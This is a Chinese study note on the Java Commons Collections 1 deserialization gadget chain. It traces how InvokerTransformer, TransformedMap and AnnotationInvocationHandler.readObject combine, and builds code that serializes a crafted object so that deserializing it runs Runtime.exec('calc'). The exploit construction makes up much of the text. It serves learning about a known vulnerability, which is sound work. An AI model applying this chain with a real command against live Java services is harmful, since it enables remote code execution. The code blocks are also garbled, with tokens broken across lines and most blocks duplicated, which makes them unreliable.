-
-
Java反序列化漏洞:Commons Collections 1 学习笔记
-
发表于: 2022-11-29 16:45 1070
-
分析Transformer
接口及其实现类ConstantTransformer
:构造函数传入一个对象,调用transform()
方法时,不管输入是什么,都返回构造函数ConstantTransformer()
传入的对象。
ChainedTransformer
:自动对transformers
数组中每一个元素transformers[i]
调用transform()
,前一个的输出作为后一个的输入,链式调用transform()
方法。
InvokerTransformer
:相当于重新实现了反射,构造函数传入方法名、参数类型、参数。transform()
传入对象,进行反射调用。
调用链构造原则:
找调用关系要找不同名的方法,如果找到同名,再通过find usages
得到的还是一样的结果。最终还是得找不同的方法才能跳转。
发现了InvokerTransformer
类中的transform()
方法是危险方法,从后往前找,找哪个类的不同方法里面调用了transform()
找到InvokerTransformer
类中的transform()
,右键,点 Find Usages
,找函数调用关系,
最好找不同名的方法,调用了transform()
。因为transform()
调用transform()
不能换到别的方法里,没有意义。
最后的目标是回到readObject()
里,比如LazyMap
类中的get()
方法调用了transform()
,再接着去找谁又调用了get()
。如果有一个类的readObject()
调用了get()
,那我们就可能找到了调用链。
最终选择TransformedMap
这个类,因为TransformedMap
类中有好几处都调用了transform()
找到TransformedMap
类中checkSetValue()
中调用了valueTransformer.transform(value);
看一下valueTransformer
是什么,在TransformedMap
的构造函数中可以对valueTransformer
赋值。
构造函数的参数:传入一个Map
和两个Transformer
。
TransformedMap
的构造函数属性是protected
,只能在类内调用。
因此找一下哪里调用TransformedMap()
构造函数。
找到decorate()
调用了 TransformedMap()
。
调用decorate()
相当于调用了构造函数。
构造checkSetValue()
中的valueTransformer
,因为要通过InvokerTransformer
反射调用计算器,所以要让valueTransformer = invokerTransformer
,invokerTransformer
为InvokerTransformer
类的一个对象。
在构造函数中可以进行valueTransformer
的赋值,但是TransformedMap
的构造函数不能直接调用(属性为protected
),间接通过decorate()
来给valueTransformer
赋值。
现在valueTransformer = invokerTransformer
在AbstractInputCheckedMapDecorator
类中的setValue()
中调用了checkSetValue()
AbstractInputCheckedMapDecorator
类是TransformedMap
的父类AbstractInputCheckedMapDecorator
类的setValue()
重写了Map.Entry
类中的setValue()
直接调用setValue()
,可以弹出计算器
AnnotationInvocationHandler
类中的readObject()
方法中调用了setValue()
AnnotationInvocationHandler
类中的readObject()
方法
看AnnotationInvocationHandler
类的构造函数,发现构造函数的参数中可以传入Map
,那这个Map
就是我们完全可以控制的,因为在构造函数里面。
所以我们就可以把我们构造好的TransformedMap
放进去,需要注意类属性不是public
,为default
类型,只有在sun.reflect.annotation
包底下才能访问到,因此必须通过反射去获取,不能直接获取。
同时构造函数也是default
类型,需要用getDeclaredConstructor()
来获取构造函数。
从已注释的for
循环可以看到,我们调用setValue(r)
需要传入r
目前payload的几个问题:
Runtime
类不能序列化,而Class
类可以序列化Runtime r = Runtime.getRuntime();
不能序列化Class c = Runtime.class;
可以序列化
正常的反射调用
改成InvokerTransformer(方法名, 参数类型, 参数)
改成ChainedTransformer
的形式
上面的payload中,只有Runtime.class
是我们可以控制的。
分析:
1、可能没进入if判断
2、后面的setValue()
括号中的new AnnotationTypeMismatchExceptionProxy()
是我们不能控制的。
第一个if
:
调试:下断点运行,发现Override.class
中是空的,getKey()
得到的是null
,进不去第一个if
判断。
把
改成
注解Target
中是有参数的。
第二个if
(直接可以进入,不需要构造):
1、memberType
能不能强转成value
2、value
是不是ExceptionProxy
类的实例
使用ConstantTransformer()
。ConstantTransformer
:不管输入是什么,调用transform()
方法时,都返回构造函数输入的值。
参考文献:
Java 反序列化漏洞(二) - Commons Collections
Java反序列化CommonsCollections篇(一) CC1链手写EXP
Java ysoserial学习之CommonsCollections1(二)
Commons Collections Java反序列化漏洞深入分析
/
/
ConstantTransformer构造函数及transform()函数
public ConstantTransformer(
Object
constantToReturn) {
super
();
iConstant
=
constantToReturn;
}
public
Object
transform(
Object
input
) {
return
iConstant;
}
/
/
ConstantTransformer构造函数及transform()函数
public ConstantTransformer(
Object
constantToReturn) {
super
();
iConstant
=
constantToReturn;
}
public
Object
transform(
Object
input
) {
return
iConstant;
}
/
/
ChainedTransformer构造函数及transform()函数
public ChainedTransformer(Transformer[] transformers) {
super
();
iTransformers
=
transformers;
}
public
Object
transform(
Object
object
) {
for
(
int
i
=
0
; i < iTransformers.length; i
+
+
) {
object
=
iTransformers[i].transform(
object
);
}
return
object
;
}
/
/
ChainedTransformer构造函数及transform()函数
public ChainedTransformer(Transformer[] transformers) {
super
();
iTransformers
=
transformers;
}
public
Object
transform(
Object
object
) {
for
(
int
i
=
0
; i < iTransformers.length; i
+
+
) {
object
=
iTransformers[i].transform(
object
);
}
return
object
;
}
/
/
InvokerTransformer构造函数及transform()函数
public InvokerTransformer(String methodName, Class[] paramTypes,
Object
[] args) {
super
();
iMethodName
=
methodName;
iParamTypes
=
paramTypes;
iArgs
=
args;
}
/
/
InvokerTransformer的transform()方法
public
Object
transform(
Object
input
) {
if
(
input
=
=
null) {
return
null;
}
try
{
Class
cls
=
input
.getClass();
Method method
=
cls
.getMethod(iMethodName, iParamTypes);
return
method.invoke(
input
, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException(
"InvokerTransformer: The method '"
+
iMethodName
+
"' on '"
+
input
.getClass()
+
"' does not exist"
);
} catch (IllegalAccessException ex) {
throw new FunctorException(
"InvokerTransformer: The method '"
+
iMethodName
+
"' on '"
+
input
.getClass()
+
"' cannot be accessed"
);
} catch (InvocationTargetException ex) {
throw new FunctorException(
"InvokerTransformer: The method '"
+
iMethodName
+
"' on '"
+
input
.getClass()
+
"' threw an exception"
, ex);
}
}
/
/
InvokerTransformer构造函数及transform()函数
public InvokerTransformer(String methodName, Class[] paramTypes,
Object
[] args) {
super
();
iMethodName
=
methodName;
iParamTypes
=
paramTypes;
iArgs
=
args;
}
/
/
InvokerTransformer的transform()方法
public
Object
transform(
Object
input
) {
if
(
input
=
=
null) {
return
null;
}
try
{
Class
cls
=
input
.getClass();
Method method
=
cls
.getMethod(iMethodName, iParamTypes);
return
method.invoke(
input
, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException(
"InvokerTransformer: The method '"
+
iMethodName
+
"' on '"
+
input
.getClass()
+
"' does not exist"
);
} catch (IllegalAccessException ex) {
throw new FunctorException(
"InvokerTransformer: The method '"
+
iMethodName
+
"' on '"
+
input
.getClass()
+
"' cannot be accessed"
);
} catch (InvocationTargetException ex) {
throw new FunctorException(
"InvokerTransformer: The method '"
+
iMethodName
+
"' on '"
+
input
.getClass()
+
"' threw an exception"
, ex);
}
}
/
/
正常弹计算器
Runtime.getRuntime().
exec
(
"calc"
);
/
/
反射调用计算器
/
/
获取一个Runtime的对象
Runtime r
=
Runtime.getRuntime();
/
/
获取Runtime类
Class c
=
Runtime.
class
;
/
/
获取Runtime类的
exec
()方法,(方法名,参数类型)
Method execMethod
=
c.getMethod(
"exec"
, String.
class
);
/
/
反射调用
exec
弹计算器,(对象,参数)
execMethod.invoke(r,
"calc"
);
/
*
InvokerTransformer调用计算器
相当于重新实现了反射,把上面的反射调用后两行写成一行
*
/
Runtime r
=
Runtime.getRuntime();
InvokerTransformer invokerTransformer
=
new InvokerTransformer(
"exec"
,
new Class[]{String.
class
}, new
Object
[]{
"calc"
}).transform(r);
/
/
正常弹计算器
Runtime.getRuntime().
exec
(
"calc"
);
/
/
反射调用计算器
/
/
获取一个Runtime的对象
Runtime r
=
Runtime.getRuntime();
/
/
获取Runtime类
Class c
=
Runtime.
class
;
/
/
获取Runtime类的
exec
()方法,(方法名,参数类型)
Method execMethod
=
c.getMethod(
"exec"
, String.
class
);
/
/
反射调用
exec
弹计算器,(对象,参数)
execMethod.invoke(r,
"calc"
);
/
*
InvokerTransformer调用计算器
相当于重新实现了反射,把上面的反射调用后两行写成一行
*
/
Runtime r
=
Runtime.getRuntime();
InvokerTransformer invokerTransformer
=
new InvokerTransformer(
"exec"
,
new Class[]{String.
class
}, new
Object
[]{
"calc"
}).transform(r);
protected
Object
checkSetValue(
Object
value) {
return
valueTransformer.transform(value);
}
protected
Object
checkSetValue(
Object
value) {
return
valueTransformer.transform(value);
}
protected TransformedMap(
Map
map
, Transformer keyTransformer, Transformer valueTransformer) {
super
(
map
);
this.keyTransformer
=
keyTransformer;
this.valueTransformer
=
valueTransformer;
}
protected TransformedMap(
Map
map
, Transformer keyTransformer, Transformer valueTransformer) {
super
(
map
);
this.keyTransformer
=
keyTransformer;
this.valueTransformer
=
valueTransformer;
}
public static
Map
decorate(
Map
map
, Transformer keyTransformer, Transformer valueTransformer) {
return
new TransformedMap(
map
, keyTransformer, valueTransformer);
}
public static
Map
decorate(
Map
map
, Transformer keyTransformer, Transformer valueTransformer) {
return
new TransformedMap(
map
, keyTransformer, valueTransformer);
}
/
/
实例化一个InvokerTransformer (invokerTransformer)
InvokerTransformer invokerTransformer
=
new InvokerTransformer(
"exec"
, new Class[]{String.
class
}, new
Object
[]{
"calc"
});
/
/
新建一个
map
,传入decorate()中
HashMap<
Object
,
Object
>
map
=
new HashMap<>();
Map
<
Object
,
Object
> transforedMap
=
TransformedMap.decorate(
map
, null, invokerTransformer);
/
/
实例化一个InvokerTransformer (invokerTransformer)
InvokerTransformer invokerTransformer
=
new InvokerTransformer(
"exec"
, new Class[]{String.
class
}, new
Object
[]{
"calc"
});
/
/
新建一个
map
,传入decorate()中
HashMap<
Object
,
Object
>
map
=
new HashMap<>();
Map
<
Object
,
Object
> transforedMap
=
TransformedMap.decorate(
map
, null, invokerTransformer);
/
/
实例化一个InvokerTransformer (invokerTransformer)
InvokerTransformer invokerTransformer
=
new InvokerTransformer(
"exec"
, new Class[]{String.
class
}, new
Object
[]{
"calc"
});
/
/
新建一个
map
,传入decorate()中
HashMap<
Object
,
Object
>
map
=
new HashMap<>();
Map
<
Object
,
Object
> transforedMap
=
TransformedMap.decorate(
map
, null, invokerTransformer);
for
(
Map
.Entry entry : transforedMap.entrySet()){
entry.setValue(r);
}
/
/
实例化一个InvokerTransformer (invokerTransformer)
InvokerTransformer invokerTransformer
=
new InvokerTransformer(
"exec"
, new Class[]{String.
class
}, new
Object
[]{
"calc"
});
/
/
新建一个
map
,传入decorate()中
HashMap<
Object
,
Object
>
map
=
new HashMap<>();
Map
<
Object
,
Object
> transforedMap
=
TransformedMap.decorate(
map
, null, invokerTransformer);
for
(
Map
.Entry entry : transforedMap.entrySet()){
entry.setValue(r);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
/
/
Check to make sure that types have
not
evolved incompatibly
AnnotationType annotationType
=
null;
try
{
annotationType
=
AnnotationType.getInstance(
type
);
} catch(IllegalArgumentException e) {
/
/
Class
is
no longer an annotation
type
; time to punch out
throw new java.io.InvalidObjectException(
"Non-annotation type in annotation serial stream"
);
}
Map
<String, Class<?>> memberTypes
=
annotationType.memberTypes();
/
/
If there are annotation members without values, that
/
/
situation
is
handled by the invoke method.
for
(
Map
.Entry<String,
Object
> memberValue : memberValues.entrySet()) {
String name
=
memberValue.getKey();
Class<?> memberType
=
memberTypes.get(name);
if
(memberType !
=
null) {
/
/
i.e. member still exists
Object
value
=
memberValue.getValue();
if
(!(memberType.
isInstance
(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass()
+
"["
+
value
+
"]"
).setMember(
annotationType.members().get(name)));
}
}
}
}
AnnotationInvocationHandler(Class<? extends Annotation>
type
,
Map
<String,
Object
> memberValues) {
Class<?>[] superInterfaces
=
type
.getInterfaces();
if
(!
type
.isAnnotation() ||
superInterfaces.length !
=
1
||
superInterfaces[
0
] !
=
java.lang.annotation.Annotation.
class
)
throw new AnnotationFormatError(
"Attempt to create proxy for a non-annotation type."
);
this.
type
=
type
;
this.memberValues
=
memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
/
/
Check to make sure that types have
not
evolved incompatibly
AnnotationType annotationType
=
null;
try
{
annotationType
=
AnnotationType.getInstance(
type
);
} catch(IllegalArgumentException e) {
/
/
Class
is
no longer an annotation
type
; time to punch out
throw new java.io.InvalidObjectException(
"Non-annotation type in annotation serial stream"
);
}
Map
<String, Class<?>> memberTypes
=
annotationType.memberTypes();
/
/
If there are annotation members without values, that
/
/
situation
is
handled by the invoke method.
for
(
Map
.Entry<String,
Object
> memberValue : memberValues.entrySet()) {
String name
=
memberValue.getKey();
Class<?> memberType
=
memberTypes.get(name);
if
(memberType !
=
null) {
/
/
i.e. member still exists
Object
value
=
memberValue.getValue();
if
(!(memberType.
isInstance
(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass()
+
"["
+
value
+
"]"
).setMember(
annotationType.members().get(name)));
}
}
}
}
AnnotationInvocationHandler(Class<? extends Annotation>
type
,
Map
<String,
Object
> memberValues) {
Class<?>[] superInterfaces
=
type
.getInterfaces();
if
(!
type
.isAnnotation() ||
superInterfaces.length !
=
1
||
superInterfaces[
0
] !
=
java.lang.annotation.Annotation.
class
)
throw new AnnotationFormatError(
"Attempt to create proxy for a non-annotation type."
);
this.
type
=
type
;
this.memberValues
=
memberValues;
}
/
/
获取类
Class<?> c
=
Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler"
);
/
/
获取构造函数
Constructor<?> annotationInvocationHandlerConstructor
=
c.getDeclaredConstructor(Class.
class
,
Map
.
class
);
/
/
爆破
annotationInvocationHandlerConstructor.setAccessible(true);
/
/
获取实例,随便写一个常用的注解(Override)
Object
o
=
annotationInvocationHandlerConstructor.newInstance(Override.
class
, transforedMap);
serialize(o);
/
/
序列化
deserialize(
"ser.bin"
);
/
/
反序列化
/
/
获取类
Class<?> c
=
Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler"
);
/
/
获取构造函数
Constructor<?> annotationInvocationHandlerConstructor
=
c.getDeclaredConstructor(Class.
class
,
Map
.
class
);
/
/
爆破
annotationInvocationHandlerConstructor.setAccessible(true);
/
/
获取实例,随便写一个常用的注解(Override)
Object
o
=
annotationInvocationHandlerConstructor.newInstance(Override.
class
, transforedMap);
serialize(o);
/
/
序列化
deserialize(
"ser.bin"
);
/
/
反序列化
/
/
此处的Runtime 对象 r 是不能序列化的
Runtime r
=
Runtime.getRuntime();
InvokerTransformer invokerTransformer
=
new InvokerTransformer(
"exec"
, new Class[]{String.
class
}, new
Object
[]{
"calc"
});
HashMap<
Object
,
Object
>
map
=
new HashMap<>();
map
.put(
"key"
,
"value"
);
Map
<
Object
,
Object
> transforedMap
=
TransformedMap.decorate(
map
, null, invokerTransformer);
/
*
for
(
Map
.Entry entry : transforedMap.entrySet()){
entry.setValue(r);
}
*
/
/
/
获取类
Class<?> c
=
Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler"
);
/
/
获取构造函数
Constructor<?> annotationInvocationHandlerConstructor
=
c.getDeclaredConstructor(Class.
class
,
Map
.
class
);
/
/
爆破
annotationInvocationHandlerConstructor.setAccessible(true);
/
/
获取实例
Object
o
=
annotationInvocationHandlerConstructor.newInstance(Override.
class
, transforedMap);
serialize(o);
/
/
序列化
deserialize(
"ser.bin"
);
/
/
反序列化
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课